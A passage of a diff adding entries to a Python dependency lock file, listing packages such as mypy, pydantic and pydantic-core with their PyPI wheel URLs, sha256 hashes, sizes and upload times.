"https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" }, +] + +[[package]] +name = "mongoengine" +version = "0.29.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pymongo" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/32/0b/f0bd3da47c77b2d48103b42b9a38a70de9c41c979dd681a9a6aff43bf2eb/mongoengine-0.29.1.tar.gz", hash = "sha256:3b43abaf2d5f0b7d39efc2b7d9e78f4d4a5dc7ce92b9889ba81a5a9b8dee3cf3", size = 168735, upload-time = "2024-09-19T08:41:22.487Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/97/52/a0788a31f8ec2cfb508e1fb29c321d5082f0aa58bc88ba118c898e72f612/mongoengine-0.29.1-py3-none-any.whl", hash = "sha256:9302ec407dd60f47f62cc07684d9f6cac87f1e93283c54203851788104d33df4", size = 112377, upload-time = "2024-09-19T08:41:20.626Z" }, +] + +[[package]] +name = "mypy" +version = "1.19.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "librt", marker = "platform_python_implementation != 'PyPy'" }, + { name = "mypy-extensions" }, + { name = "pathspec" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/db/4efed9504bc01309ab9c2da7e352cc223569f05478012b5d9ece38fd44d2/mypy-1.19.1.tar.gz", hash = "sha256:19d88bb05303fe63f71dd2c6270daca27cb9401c4ca8255fe50d1d920e0eb9ba", size = 3582404, upload-time = "2025-12-15T05:03:48.42Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/eb/b83e75f4c820c4247a58580ef86fcd35165028f191e7e1ba57128c52782d/mypy-1.19.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06e6170bd5836770e8104c8fdd58e5e725cfeb309f0a6c681a811f557e97eac1", size = 13199744, upload-time = "2025-12-15T05:03:30.823Z" }, + { url = "https://files.pythonhosted.org/packages/94/28/52785ab7bfa165f87fcbb61547a93f98bb20e7f82f90f165a1f69bce7b3d/mypy-1.19.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:804bd67b8054a85447c8954215a906d6eff9cabeabe493fb6334b24f4bfff718", size = 12215815, upload-time = "2025-12-15T05:02:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/0a/c6/bdd60774a0dbfb05122e3e925f2e9e846c009e479dcec4821dad881f5b52/mypy-1.19.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21761006a7f497cb0d4de3d8ef4ca70532256688b0523eee02baf9eec895e27b", size = 12740047, upload-time = "2025-12-15T05:03:33.168Z" }, + { url = "https://files.pythonhosted.org/packages/32/2a/66ba933fe6c76bd40d1fe916a83f04fed253152f451a877520b3c4a5e41e/mypy-1.19.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28902ee51f12e0f19e1e16fbe2f8f06b6637f482c459dd393efddd0ec7f82045", size = 13601998, upload-time = "2025-12-15T05:03:13.056Z" }, + { url = "https://files.pythonhosted.org/packages/e3/da/5055c63e377c5c2418760411fd6a63ee2b96cf95397259038756c042574f/mypy-1.19.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:481daf36a4c443332e2ae9c137dfee878fcea781a2e3f895d54bd3002a900957", size = 13807476, upload-time = "2025-12-15T05:03:17.977Z" }, + { url = "https://files.pythonhosted.org/packages/cd/09/4ebd873390a063176f06b0dbf1f7783dd87bd120eae7727fa4ae4179b685/mypy-1.19.1-cp314-cp314-win_amd64.whl", hash = "sha256:8bb5c6f6d043655e055be9b542aa5f3bdd30e4f3589163e85f93f3640060509f", size = 10281872, upload-time = "2025-12-15T05:03:05.549Z" }, + { url = "https://files.pythonhosted.org/packages/8d/f4/4ce9a05ce5ded1de3ec1c1d96cf9f9504a04e54ce0ed55cfa38619a32b8d/mypy-1.19.1-py3-none-any.whl", hash = "sha256:f1235f5ea01b7db5468d53ece6aaddf1ad0b88d9e7462b86ef96fe04995d7247", size = 2471239, upload-time = "2025-12-15T05:03:07.248Z" }, +] + +[[package]] +name = "mypy-extensions" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" }, +] + +[[package]] +name = "nodeenv" +version = "1.10.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/bf/d1bda4f6168e0b2e9e5958945e01910052158313224ada5ce1fb2e1113b8/nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb", size = 55611, upload-time = "2025-12-20T14:08:54.006Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" }, +] + +[[package]] +name = "packaging" +version = "26.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, +] + +[[package]] +name = "pathspec" +version = "1.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/36/e27608899f9b8d4dff0617b2d9ab17ca5608956ca44461ac14ac48b44015/pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645", size = 131200, upload-time = "2026-01-27T03:59:46.938Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/3c/2c197d226f9ea224a9ab8d197933f9da0ae0aac5b6e0f884e2b8d9c8e9f7/pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723", size = 55206, upload-time = "2026-01-27T03:59:45.137Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/86/0248f086a84f01b37aaec0fa567b397df1a119f73c16f6c7a9aac73ea309/platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda", size = 21715, upload-time = "2025-12-05T13:52:58.638Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/28/3bfe2fa5a7b9c46fe7e13c97bda14c895fb10fa2ebf1d0abb90e0cea7ee1/platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31", size = 18731, upload-time = "2025-12-05T13:52:56.823Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pre-commit" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cfgv" }, + { name = "identify" }, + { name = "nodeenv" }, + { name = "pyyaml" }, + { name = "virtualenv" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/40/f1/6d86a29246dfd2e9b6237f0b5823717f60cad94d47ddc26afa916d21f525/pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61", size = 198232, upload-time = "2025-12-16T21:14:33.552Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/19/fd3ef348460c80af7bb4669ea7926651d1f95c23ff2df18b9d24bab4f3fa/pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77", size = 226437, upload-time = "2025-12-16T21:14:32.409Z" }, +] + +[[package]] +name = "pwdlib" +version = "0.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/41/a7c0d8a003c36ce3828ae3ed0391fe6a15aad65f082dbd6bec817ea95c0b/pwdlib-0.3.0.tar.gz", hash = "sha256:6ca30f9642a1467d4f5d0a4d18619de1c77f17dfccb42dd200b144127d3c83fc", size = 215810, upload-time = "2025-10-25T12:44:24.395Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/0c/9086a357d02a050fbb3270bf5043ac284dbfb845670e16c9389a41defc9e/pwdlib-0.3.0-py3-none-any.whl", hash = "sha256:f86c15c138858c09f3bba0a10984d4f9178158c55deaa72eac0210849b1a140d", size = 8633, upload-time = "2025-10-25T12:44:23.406Z" }, +] + +[package.optional-dependencies] +argon2 = [ + { name = "argon2-cffi" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = 